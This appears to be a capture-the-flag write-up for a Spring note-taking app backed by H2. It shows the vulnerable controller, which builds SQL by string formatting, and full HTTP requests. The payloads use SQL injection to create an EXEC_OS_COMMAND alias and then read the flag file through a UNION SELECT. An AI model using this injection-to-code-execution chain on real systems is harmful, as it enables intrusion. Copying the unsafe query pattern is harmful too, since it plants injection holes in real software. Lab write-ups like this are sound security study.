Pentest Notes
Pentest Notes
Endpoints
/api/notes - list all available notes.
On clicking any note we also observe another endpoint:
(Response)
1
2
3
4
fetch('/api/note', {
method: 'POST',
body: formData
}
Interacting with endpoints
1
2
3
4
5
6
7
8
9
10
11
GET /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Error 405
1
2
3
4
5
6
7
8
9
10
11
GET /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1
Priority: u=0, i
No error, lists all the notes. Let’s try POST Method.
Can’t post on /api/notes (405). Can post on /api/note
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 277
Date: Sun, 13 Jul 2025 13:18:38 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sun Jul 13 13:18:38 UTC 2025</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
We need to understand the format for POST. Let’s download the challenge files and review source code.
From pom.xml
1
2
3
4
5
6
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
We can confirm the database is H2.
From NotesController:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@PostMapping("/note")
public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
if (httpSession.getAttribute("username") == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
}
if (name.contains("$") || name.toLowerCase().contains("concat")) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
}
String query = String.format("Select * from notes where name ='%s' ", name);
List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
List < Map < String, Object >> result = new ArrayList < > ();
for (Object[] row: resultList) {
Map < String, Object > rowMap = new HashMap < > ();
rowMap.put("ID", row[0]);
rowMap.put("Name", row[1]);
rowMap.put("Note", row[2]);
result.add(rowMap);
}
return ResponseEntity.ok(result);
}
Payloads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=D070850E0F8BC4C10498C75399350445
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
name=pwn';CREATE+ALIAS+EXEC_OS_COMMAND+AS+'
String+exec(String+cmd)+throws+Exception+{Process+process+%3d+Runtime.getRuntime().exec(cmd)%3bScanner+scanner+%3d+new+Scanner(process.getInputStream()).useDelimiter("\\A")%3breturn+scanner.hasNext()+%3f+scanner.next()+%3a+""%3b
}'%3b--
HTTP/1.1 200
Content-Type: application/json
Date: Sun, 13 Jul 2025 14:06:01 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2
[]
To run commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=D070850E0F8BC4C10498C75399350445
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
name='UNION+SELECT+1,2,SELECT+EXEC_OS_COMMAND('cat /JN8fe3XRqTYK_flag.txt')%3b--
This post is licensed under CC BY 4.0 by the author.